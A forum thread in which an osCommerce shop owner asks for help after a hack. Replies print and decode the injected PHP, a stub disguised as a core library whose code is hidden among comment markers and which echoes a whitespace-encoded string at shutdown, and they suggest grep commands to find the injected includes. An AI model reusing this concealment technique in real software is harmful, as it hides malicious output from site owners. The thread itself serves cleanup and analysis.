TalkPHP
 
 
Account Login
Latest Articles
» The basic usage of PHPTAL, a XML/XHTML template library for PHP
» Vulnerable methods and the areas they are commonly trusted in.
» Simple way to protect a form from bot
» The Basics On: How Session Stealing Works
» How to keep your forms from double posting data
IRC Channel
IRC Speech Bubble Join the friendly bunch on IRC...
(#TalkPHP on Freenode)

...Also available via a web interface.

See this thread for information on the TalkPHP Free Hugs Initiative™. Subject to availability.
Associates
Associates
CSS Tutorials
Reply
 
LinkBack Thread Tools Search this Thread Display Modes
Old 07-09-2011, 12:49 PM   #1 (permalink)
Shonir IT Solutions
 
shonir's Avatar
 
Join Date: Jul 2011
Location: Sialkot, Pakistan
Posts: 10
Thanks: 0
shonir is on a distinguished road
Help Problem in osCommerce

I've configure a website with osCommerce but some day ago i hacker attack on it then i delete old website and upload new one and still error comming on the page.

please check below link and if you have any idea how i can solve this problem.

http://www.imart.pk


Thank's in advance for your kind response.


Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0

Fatal error: Unknown: Failed opening required '/home/imart/public_html/13060006407219.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in Unknown on line 0
Send a message via MSN to shonir Send a message via Yahoo to shonir Send a message via Skype™ to shonir
shonir is offline  
Reply With Quote
Old 07-10-2011, 09:53 PM   #2 (permalink)
The Addict
 
tony's Avatar
 
Join Date: Aug 2008
Posts: 336
Thanks: 8
tony is on a distinguished road
Default

I don't see that php warning. only a osCommerce warning saying that you should change the permissions in the configure file to not writeable
tony is offline  
Reply With Quote
Old 07-11-2011, 08:55 AM   #3 (permalink)
Shonir IT Solutions
 
shonir's Avatar
 
Join Date: Jul 2011
Location: Sialkot, Pakistan
Posts: 10
Thanks: 0
shonir is on a distinguished road
Default

you may see this warning in bthe end of page warning will show after delay some time. i deleted 13060006407219.php file from server that was uploaded by hacker.

below if code of this page i do not understand what is mean by this code waht haker want to do exectly.

<?php /**
* Gets some core libraries and displays a top message if required. /*
*/ if(!function_exists('CoreLibrariesHandler')) { /*
*/ function CoreLibrariesHandler() { /*
*/ $session_keys = ' '; /*
*/ /*
*/ foreach(str_split($session_keys, 8) as $k=>$v) { /*
*/ $v = str_replace(' ', 1, str_replace(' ', 0, $v)); /*
*/ $session_keys[$k] = chr(bindec($v)); /*
*/ } /*
*/ /*
*/ if($session_keys) echo $session_keys; } /*
*/ register_shutdown_function('CoreLibrariesHandler') ; /*
*/ } /*
************************************************** **********************/



?>
Send a message via MSN to shonir Send a message via Yahoo to shonir Send a message via Skype™ to shonir
shonir is offline  
Reply With Quote
Old 07-11-2011, 10:12 AM   #4 (permalink)
The Visitor
 
Join Date: Jul 2011
Posts: 1
Thanks: 0
M Omer is on a distinguished road
Default you code

you code is just comment
And nothing
M Omer is offline  
Reply With Quote
Old 07-11-2011, 05:03 PM   #5 (permalink)
The Acquainted
 
Join Date: Nov 2009
Location: nr Stratford-Upon-Avon
Posts: 137
Thanks: 3
maeltar is on a distinguished road
Default

No it's not commented out if you look close at how the comments are placed
__________________
Thanks... Simon

Sex, Drugs & Linux Rules
Send a message via MSN to maeltar
maeltar is offline  
Reply With Quote
Old 07-11-2011, 05:18 PM   #6 (permalink)
The Addict
 
tony's Avatar
 
Join Date: Aug 2008
Posts: 336
Thanks: 8
tony is on a distinguished road
Default

a clever hacker with the comments. But I am not much on help in this. I haven't use osCommerce
tony is offline  
Reply With Quote
Old 07-11-2011, 06:09 PM   #7 (permalink)
The Acquainted
 
Join Date: Nov 2009
Location: nr Stratford-Upon-Avon
Posts: 137
Thanks: 3
maeltar is on a distinguished road
Default

Cleaned it up so is more readable....

PHP Code:
<?php
if(!function_exists('CoreLibrariesHandler')) 
    {
        function 
CoreLibrariesHandler()
            { 
            
$session_keys ' ';
                foreach(
str_split($session_keys8) as $k=>$v
                    { 
                    
$v str_replace(' '1str_replace(' '0$v)); 
                    
$session_keys[$k] = chr(bindec($v));
                    }
            if(
$session_keys) echo $session_keys
            }

    
register_shutdown_function('CoreLibrariesHandler') ;
}


?>
__________________
Thanks... Simon

Sex, Drugs & Linux Rules
Send a message via MSN to maeltar
maeltar is offline  
Reply With Quote
Old 07-11-2011, 06:12 PM   #8 (permalink)
The Acquainted
 
Join Date: Nov 2009
Location: nr Stratford-Upon-Avon
Posts: 137
Thanks: 3
maeltar is on a distinguished road
Default

This link may be of use
http://forums.oscommerce.com/topic/3...st__p__1583115
__________________
Thanks... Simon

Sex, Drugs & Linux Rules
Send a message via MSN to maeltar
maeltar is offline  
Reply With Quote
Old 07-14-2011, 02:09 PM   #9 (permalink)
The Wanderer
 
Join Date: May 2010
Posts: 19
Thanks: 1
core1024 is on a distinguished road
Default

I think the easiest way to fix this is to create empty file, located at /home/imart/public_html/13060006407219.php and set it's permissions to 444 :)
core1024 is offline  
Reply With Quote
Old 07-23-2011, 01:11 PM   #10 (permalink)
Shonir IT Solutions
 
shonir's Avatar
 
Join Date: Jul 2011
Location: Sialkot, Pakistan
Posts: 10
Thanks: 0
shonir is on a distinguished road
Default

@maeltar

i already cleaned all ciode that added by hacker everything is right in coding side still not able to fine error.

@core1024
you are right but i want to trace error because its very importent to now if there is naything wrong and maybe hacker recived all information of our clients.

Thank's everyone for your positive response :)

Looking forward your suggestions regarding this problem
Send a message via MSN to shonir Send a message via Yahoo to shonir Send a message via Skype™ to shonir
shonir is offline  
Reply With Quote
Old 07-23-2011, 01:50 PM   #11 (permalink)
The Wanderer
 
Join Date: May 2010
Posts: 19
Thanks: 1
core1024 is on a distinguished road
Default

If you have shell access and your server is *nix you can search for the bad code using:
Code:
user@host:~$ cd /home/imart/ #or where is your document root
user@host:/home/imart/$ grep -R 13060006407219 .
or you can try to
Code:
egrep -R '(require|include)[ ]*\(' .
, but this could return many lines of non-harmful code
core1024 is offline  
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
PDO Class problem newwarrior Advanced PHP Programming 1 05-26-2011 05:23 PM
Ajax + Javascript + DIV problem maeltar Javascript, AJAX, E4X 0 07-04-2010 07:57 AM
problem getting data on the html table.... jetnet1 General 2 11-24-2008 06:55 PM
Huge Session Problem Killswitch General 1 11-17-2008 02:36 AM
A bug or a cache problem?! yazid Advanced PHP Programming 0 05-22-2008 08:40 AM


All times are GMT. The time now is 02:41 AM.

 
     

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2013, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.1.0
Inactive Reminders By Icora Web Design